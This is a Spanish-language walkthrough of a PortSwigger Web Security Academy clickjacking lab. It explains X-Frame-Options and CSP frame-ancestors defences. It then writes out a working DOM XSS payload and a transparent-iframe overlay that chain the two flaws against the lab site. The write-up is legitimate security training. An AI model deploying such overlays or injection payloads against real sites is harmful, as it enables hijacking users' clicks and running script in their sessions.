Clickjacking Lab 4
Skills
- Exploiting clickjacking vulnerability to trigger DOM-based XSS
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una vulnerabilidad de XSS
que se activa mediante un click
. Debemos construir un ataque de Clickjacking
que engañe al usuario
para que haga click
en el botón "Click me"
y llame a la función print()
Resolución
Al acceder
a la web
vemos esto
Si hacemos click
sobre Submit feedback
vemos que tenemos un formulario
que podemos rellenar
Si enviamos algo de contenido nos responde con este texto
y hace alusión al nombre
que hemos introducido
Si pulsamos sobre View post
vemos que hay una sección
de comentarios
En un ataque
de Clickjacking
, el atacante superpone
u oculta elementos maliciosos
en una página web legítima
, por ejemplo, usando un iframe
, de modo que cuando el usuario
hace click
en un elemento aparentemente seguro
de una página web
, en realidad, está haciendo click
en un elemento oculto
y ejecutando una acción no deseada
Por ejemplo, un usuario
accede a una página web
(quizás mediante un enlace
proporcionado por un correo electrónico
) y hace click
en un botón
para ganar un premio
. Sin saberlo, ha sido engañado por un atacante
para presionar un botón oculto
, lo que resulta la realización de una compra
en otra web
Este ataque
se diferencia de un ataque CSRF
en que el usuario
debe realizar una acción
, como hacer click en un botón
, mientras que un ataque CSRF
se basa en la suplantación
de una solicitud completa
sin el conocimiento
o la interacción
del usuario
La protección
contra los ataques CSRF
suele proporcionarse mediante el uso de un token CSRF
vinculado a una cookie
de sesión
. Los tokens CSRF
no puede bloquear un ataque de Clickjacking
porque el navegador
enviará automáticamente
el token CSRF
, esto es debido a que el ataque
ocurre dentro de la sesión del usuario
y dentro del propio dominio
. Por lo tanto, la única diferencia con una sesión normal
, sería que el proceso
ocurre dentro de un iframe oculto
Los ataques de Clickjacking
utilizan CSS
para crear y manipular capas
. El atacante
incorpora el sitio web legítimo
como una capa iframe
superpuesta sobre elementos maliciosos
Un ejemplo
utilizando la etiqueta style
y sus parámetros
es el siguiente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<head>
<style>
#target_website {
position: relative;
width: 128px;
height: 128px;
opacity: 0.00001;
z-index: 2;
}
#decoy_website {
position: absolute;
width: 300px;
height: 400px;
z-index: 1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com"></iframe>
</body>
El iframe
del sitio web legítimo
se posiciona
dentro del navegador
de manera que haya una superposición precisa
de la acción
con los elementos maliciosos
, utilizando valores adecuados de ancho
, alto
y posición
Se emplean valores de posición absoluta
y relativa
para garantizar que el sitio web objetivo
se superponga
correctamente al sitio de distracción
, sin importar el tamaño de pantalla
, el tipo de navegador
o la plataforma
El z-index
determina el orden de apilamiento
del iframe
y las capas del sitio web
. El valor de opacidad
se define en 0.0
(o cerca de 0.0
), haciendo que el contenido del iframe
sea transparente
para el usuario
Hay algunas protecciones contra Clickjacking
en los navegadores
que pueden detectar la transparencia en iframes
mediante umbrales
. Para eludir
esto, el atacante
debe ajustar los valores de opacidad
de manera que el efecto deseado
se logre sin activar
las protecciones
. Esta medida de protección
no está presente en todos los navegadores
. Por ejemplo, Chrome versión 76
incluye este comportamiento
, pero Firefox
no. Esto significa que, según el navegador
, podemos necesitar modificar
el payload
Aunque podemos crear manualmente
una PoC
de un ataque de Clickjacking
como se describió anteriormente, esto puede ser tedioso
y consumir mucho tiempo
. Cuando probamos
el Clickjacking
en entornos reales, es recomendable usar la herramienta Clickbandit
https://portswigger.net/burp/documentation/desktop/tools/clickbandit de Burpsuite
, la cual nos permite usar nuestro navegador
para realizar las acciones deseadas
en la página web cargada mediante el iframe
y luego genera
un archivo HTML
con una superposición
para explotar el Clickjacking
Existen varias medidas defensivas
contra Clickjacking
del lado del cliente
, sin embargo, a menudo, los atacantes
pueden eludir estas protecciones
con relativa facilidad
. En consecuencia, se han desarrollado protocolos implementados en el lado del servidor
que restringen el uso de iframes
en el navegador
y por lo tanto, mitigan el Clickjacking
El Clickjacking
es un comportamiento
que ocurre en el lado del cliente
, y su éxito
o fracaso
depende de las funcionalidades del navegador
y su conformidad
con los estándares web
y las mejores prácticas actuales
. La protección en el servidor
contra el Clickjacking
se logra definiendo
y comunicando restricciones
sobre el uso de componentes
como los iframes
. No obstante, la eficacia
de estas protecciones
depende de que el navegador
cumpla
y aplique
dichas restricciones
Dos mecanismos clave
para la protección contra Clickjacking
desde el servidor
son X-Frame-Options
y Content Security Policy (CSP)
X-Frame-Options
- Fue introducido originalmente como una cabecera de respuesta no oficial
en Internet Explorer 8
y fue rápidamente adoptado
por otros navegadores
. Esta cabecera
permite al propietario del sitio web controlar el uso de iframes u objetos
, de modo que no es posible cargar una página web desde en un iframe
puede ser prohibida
con la directiva deny
1
X-Frame-Options: deny
Alternativamente, se puede restringir
que un iframe
cargue contenido
solo si pertenece al mismo origen
(mismo dominio
, protocolo
y puerto
) que la página que lo contiene
. Si el origen
es diferente
, el iframe
no se cargará
.
1
X-Frame-Options: sameorigin
O también puede permitirse
únicamente que se cargue
un sitio web específico
en un iframe
mediante la directiva allow-from
1
X-Frame-Options: allow-from https://normal-website.com
Content Security Policy (CSP)
- Es un mecanismo de detección y prevención
que proporciona mitigación
contra ataques como XSS
y de Clickjacking
. CSP
suele implementarse en el servidor web
como un encabezado de respuesta
con el siguiente formato
1
Content-Security-Policy: policy
La Content Security Policy (CSP)
proporciona al navegador
un listado de fuentes
que considera legítimas
(dominios, protocolos, scripts específicos) y que el navegador
puede utilizar para la detección
e intercepción de comportamientos maliciosos
La protección recomendada contra Clickjacking
consiste en incorporar
la directiva frame-ancestors
en la Content Security Policy (CSP)
de la aplicación
La directiva
frame-ancestors 'none'
tiene uncomportamiento similar
aX-Frame-Options: deny
La directiva
frame-ancestors 'self'
esequivalente
aX-Frame-Options: sameorigin
La siguiente Content Security Policy (CSP)
no permite que se cargue la web
desde otros sitios web externos
mediante un iframe
. Sin embargo, sí que se puede cargar la web
mediante un iframe
si se hace desde la misma web
que aplica
la Content Security Policy (CSP)
1
Content-Security-Policy: frame-ancestors 'self';
Alternativamente, se puede permitir
que solo se pueda cargar la web
desde sitios web específicos
1
Content-Security-Policy: frame-ancestors normal-website.com;
Hay que recalcar que X-Frame-Options
no está implementado de forma uniforme
en todos los navegadores
(por ejemplo, la directiva allow-from
no es compatible
con Chrome 76
ni con Safari 12
). Sin embargo, cuando se aplica correctamente
junto con Content Security Policy (CSP)
, puede proporcionar una protección efectiva
contra ataques de Clickjacking
Para ver si una web
es vulnerable
a Clickjacking
podemos usar la herramienta shcheck
[https://github.com/santoru/shcheck.git]https://github.com/santoru/shcheck.git() para identificar
las cabeceras de seguridad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
======================================================
> shcheck.py - santoru ..............................
------------------------------------------------------
Simple tool to check security headers on a webserver
======================================================
[*] Analyzing headers of https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy
[*] No information disclosure headers detected
[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers
Si preferimos usar una herramienta web
podemos usar securityheaders
https://securityheaders.com/
En este caso, vemos que la web
no tiene ni Content-Security-Policy (CSP)
ni X-Frame-Options
, lo cual la hace vulnerable a Clickjacking
Históricamente, el Clickjacking
se ha utilizado para realizar acciones como aumentar
los "me gusta"
en una página de Facebook
. Sin embargo, la verdadera potencia del Clickjacking
se revela cuando se utiliza como un vector para otro ataque
, como un DOM XSS
. La implementación de este ataque combinado es relativamente sencilla, suponiendo que el atacante haya identificado primero la vulnerabilidad
de XSS
. Luego, el exploit XSS
se combina con la URL
del iframe
, de modo que el usuario haga click
en el botón o enlace
y, en consecuencia, ejecute el ataque de DOM XSS
Si nos fijamos en el código fuente
de la página desde la que se envía el formulario
vemos que se carga
un archivo .js
Si hacemos click
sobre el enlace
y accedemos a /resources/js/submitFeedback.js
vemos este código JavaScript
. Si nos fijamos bien se está usando innerHTML
, esta propiedad es un sink
que nos permite inyectar código HTML y JavaScript
Enviamos
este payload
Al pulsar en Submit feedback
vemos que podemos inyectar código HTML
Ahora vamos a comprobar
que podemos ejecutar código JavaScript
Al pulsar sobre Submit feedback
vemos que funciona
Algunos sitios web
que requieren completar y enviar formularios
permiten rellenar previamente
los datos del formulario
mediante parámetros GET
antes del envío
. Dado que los valores GET
forman parte de la URL
, la URL de destino
puede modificarse
para incorporar valores elegidos por el atacante
Hay otros sitios web
que pueden requerir interacción por parte del usuario
, como que el usuario ingrese manualmente los datos
, complete pasos previos
(como una verificación CAPTCHA
) antes de habilitar el envío
, etc
Para comprobar
si el formulario permite rellenar previamente los datos mediante parámetros GET
, lo primero que necesitamos hacer es identificar
los nombres
de los campos
. En este caso vemos que el valor del campo a rellenar
es name
El siguiente paso es añadir
el parámetro name
a la URL
y ver si se rellena
el campo name del formulario
, para ello, accedemos a https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=test
y vemos que sí que funciona
Para rellenar
los demás campos
lo tenemos que hacer de esta manera. Lo que hace este payload
es rellenar
todos los campos
del formulario
y luego desplazarnos
al id feedbackResult
, el cual corresponde al botón
del envío
1
/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult
Una vez comprobado esto vamos a enlazar
ambas vulnerabilidades
para causar un mayor impacto
, para ello, nos dirigimos al Exploit Server
y pegamos este payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.3;
z-index: 2;
}
div {
position:absolute;
top:620px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
Pinchamos sobre View exploit
y vemos que todo está bien centrado
Cambiamos
la opacidad
a 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
div {
position:absolute;
top:620px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
Probamos que funciona pulsando sobre View exploit > Click me
y posteriormente le enviamos
el exploit
a la víctima pulsando Deliver exploit to victim
Otra forma alternativa sería usando la herramienta Clickbandit
de Burpsuite
, para usarla nos dirigimos a Burpsuite
y pulsamos Burp > Burp Clickbandit
Pulsamos sobre Copy Clickbandit to clipboard
Nos dirigimos a Chrome
, accedemos a https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult
, nos abrimos la consola de desarrollador
y pegamos
ahí todo el código
Una vez hecho esto nos saldrá este menú
Marcamos
la casilla Disable click actions
para desactivar
los clicks
. Una vez hecho esto pulsamos en Start
Lo siguiente sería pulsar sobre el botón que queremos
, en este caso sobre Submit feedback
que es el que queremos usar para el ataque de Clickjacking
Una vez hecho esto, pulsamos
sobre Finish
y se nos mostrará
como es nuestro payload
actualmente
Usando los símbolos -
y +
, podemos subir
o bajar
el aumento
, y con Toogle transparency
podemos activar
o desactivar
la transparencia
. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save
y se nos descargará
un documento HTML
Pegamos
el código
en el Exploit server
Pulsamos sobre View exploit
para ver si se ve correctamente
Hacemos click sobre el botón
y vemos que podemos explotar
el XSS